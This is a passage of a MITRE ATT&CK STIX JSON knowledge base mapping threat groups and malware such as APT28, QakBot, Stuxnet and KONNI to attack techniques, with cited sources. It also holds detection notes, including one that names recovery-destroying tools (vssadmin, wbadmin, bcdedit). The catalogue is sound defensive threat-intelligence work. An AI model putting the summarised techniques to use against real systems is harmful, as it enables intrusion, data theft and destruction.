GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T14:18:50.354Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has retrieved internal documents from machines inside victim environments, including by using [Forfiles](https://attack.mitre.org/software/S0193) to stage documents before exfiltration.(Citation: Überwachung APT28 Forfiles June 2015)(Citation: DOJ GRU Indictment Jul 2018)(Citation: TrendMicro Pawn Storm 2019)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73e382dc-5808-42b6-b796-e4ca35a198f4","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FBI Ragnar Locker 2020","description":"FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024.","url":"https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:23:38.257Z","description":"Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73e8d90b-62e2-4ea2-b66c-2c94297bdcc5","type":"relationship","created":"2021-03-04T14:29:23.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}],"modified":"2021-04-25T23:43:56.495Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) gathered the fully qualified domain names (FQDNs) for targeted Exchange servers in the victim's environment.(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73ee6e9e-560a-42d1-8578-d5e59899dcf7","created":"2023-03-10T20:45:39.428Z","revoked":false,"external_references":[{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T20:45:39.428Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has the ability to use DLL side-loading for execution.(Citation: Deep Instinct Black Basta August 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73f5c564-53b1-48bc-8cab-32fa4a608672","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/cc732443.aspx","description":"Microsoft. (2012, November 14). Certutil. Retrieved July 3, 2017.","source_name":"TechNet Certutil"},{"source_name":"LOLBAS Certutil","url":"https://lolbas-project.github.io/lolbas/Binaries/Certutil/","description":"LOLBAS. (n.d.). Certutil.exe. Retrieved July 31, 2019."}],"modified":"2019-07-31T19:57:28.969Z","description":"[certutil](https://attack.mitre.org/software/S0160) can be used to download files from a given URL.(Citation: TechNet Certutil)(Citation: LOLBAS Certutil)","relationship_type":"uses","source_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73fa4b5d-e75f-4050-b7aa-d003b3a31bf3","created":"2021-04-14T23:23:56.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:03:08.860Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) encodes the payload of system information sent to the command and control servers using a one byte 0xFF XOR key. [Stuxnet](https://attack.mitre.org/software/S0603) also uses a 31-byte long static byte string to XOR data sent to command and control servers. The servers use a different static key to encrypt replies to the implant.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73faed96-608b-4740-894f-0e2eaee92343","type":"relationship","created":"2019-06-13T19:12:07.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2020-03-30T02:40:51.999Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has Gzipped information and saved it to a random temp file before exfil.(Citation: Morphisec ShellTea June 2019)\t","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73fbf268-20d3-4549-9dd2-6e20e18079e0","type":"relationship","created":"2019-03-11T17:18:27.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.362Z","description":"[Empire](https://attack.mitre.org/software/S0363) has a limited number of built-in modules for exploiting remote SMB, JBoss, and Jenkins servers.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73fe447a-8d70-433f-be9a-5af74934a662","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather the victim computer name.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--98e8a977-3416-43aa-87fa-33e287e9c14c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73fe8b0c-2d4f-422f-b244-72f7e991cdd5","created":"2024-05-23T22:36:50.459Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:36:50.459Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) is linked to the defacement of several Ukrainian organization websites.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74101766-40b3-45d7-846f-4c10932b67ec","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor processes for those that may be used to modify binary headers.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7415b249-520c-4ec9-aa03-b12b5b22f6be","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","source_name":"FireEye APT33 Sept 2017"}],"modified":"2020-03-19T21:48:59.676Z","description":"[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of creating a reverse shell.(Citation: FireEye APT33 Sept 2017)","relationship_type":"uses","source_ref":"malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74192d82-680f-412e-80df-27b86fdfa20c","type":"relationship","created":"2020-10-20T00:09:33.144Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-20T00:09:33.144Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--818302b2-d640-477b-bf88-873120ce85c4","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--741c03f1-5c9c-4737-bf2d-279503a042ab","created":"2022-08-22T15:33:31.438Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason Bumblebee August 2022","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022."},{"source_name":"Proofpoint Bumblebee April 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) has been spread through e-mail campaigns with malicious links.(Citation: Proofpoint Bumblebee April 2022)(Citation: Cybereason Bumblebee August 2022)","modified":"2022-08-29T13:39:41.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--741fd887-1d55-489b-a77f-3a1d28016305","created":"2024-02-07T18:55:59.100Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-07T18:55:59.100Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) will survey the contents of system files during installation.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7423b6a3-9956-49ea-ba11-3a678994352c","created":"2023-03-10T18:38:51.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Black Basta May 2022","description":"Gonzalez, I., Chavez I., et al. (2022, May 9). Examining the Black Basta Ransomware’s Infection Routine. Retrieved March 7, 2023.","url":"https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html"},{"source_name":"Trend Micro Black Basta Spotlight September 2022","description":"Trend Micro. (2022, September 1). Ransomware Spotlight Black Basta. Retrieved March 8, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T21:24:23.121Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) has been downloaded and executed from malicious Excel files.(Citation: Trend Micro Black Basta May 2022)(Citation: Trend Micro Black Basta Spotlight September 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--742588af-8d12-4730-8cb0-d59667a4bdd1","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T23:11:19.240Z","description":"Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as `vssadmin`, `wbadmin`, and `bcdedit`.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7425e191-ec5c-40ec-ab5f-fb99d6064422","type":"relationship","created":"2019-01-31T00:36:40.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Konni May 2017","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-06T19:47:22.611Z","description":"[KONNI](https://attack.mitre.org/software/S0356) used PowerShell to download and execute a specific 64-bit version of the malware.(Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021) ","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74316a28-d1a6-40b8-8c49-836f06e90e02","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"},{"url":"https://securelist.com/the-dropping-elephant-actor/75328/","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant – aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.","source_name":"Securelist Dropping Elephant"},{"url":"http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries","description":"Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.","source_name":"Symantec Patchwork"},{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"},{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"},{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2021-11-02T21:07:07.477Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) uses malicious documents to deliver remote execution exploits as part of. The group has previously exploited CVE-2017-8570, CVE-2012-1856, CVE-2014-4114, CVE-2017-0199, CVE-2017-11882, and CVE-2015-1641.(Citation: Cymmetria Patchwork)(Citation: Securelist Dropping Elephant)(Citation: Symantec Patchwork)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7431e309-f379-45a5-ae7d-0520f6b17a94","type":"relationship","created":"2020-04-28T18:12:13.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-06T20:40:02.200Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has modified registry keys of ComSysApp, Svchost, and xmlProv on the machine to gain persistence.(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021) ","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7431f8d2-32df-4b26-8b17-24f10f861fde","type":"relationship","created":"2021-02-09T14:35:39.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Bad Rabbit","url":"https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/","description":"M.Léveille, M-E.. (2017, October 24). Bad Rabbit: Not‑Petya is back with improved ransomware. Retrieved January 28, 2021."}],"modified":"2021-05-04T19:28:12.894Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) enumerates open SMB shares on internal victim networks.(Citation: ESET Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--743a0baf-8d6d-4e4a-a72b-0413a5d49594","type":"relationship","created":"2020-05-06T21:31:07.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.549Z","description":"Data exfiltration is done by [Okrum](https://attack.mitre.org/software/S0439) using the already opened channel with the C2 server.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--743a12d9-9260-4761-b158-7a697fd43e42","created":"2023-03-26T22:02:18.694Z","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:02:18.694Z","description":"(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"malware--b7010785-699f-412f-ba49-524da6033c76","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--743cd60e-8fa7-40ad-b99d-075da089ba05","created":"2024-09-06T22:02:15.558Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:02:15.558Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used [Responder](https://attack.mitre.org/software/S0174) in intrusions.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--743ed7c3-c0e3-4290-9410-f6bec9224c30","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/2015.11.04_Evolving_Threats/cct-w08_evolving-threats-dissection-of-a-cyber-espionage-attack.pdf","description":"Maccaglia, S. (2015, November 4). Evolving Threats: dissection of a CyberEspionage attack. Retrieved April 4, 2018.","source_name":"RSAC 2015 Abu Dhabi Stefano Maccaglia"}],"modified":"2020-03-16T16:53:51.969Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has collected information from Microsoft SharePoint services within target networks.(Citation: RSAC 2015 Abu Dhabi Stefano 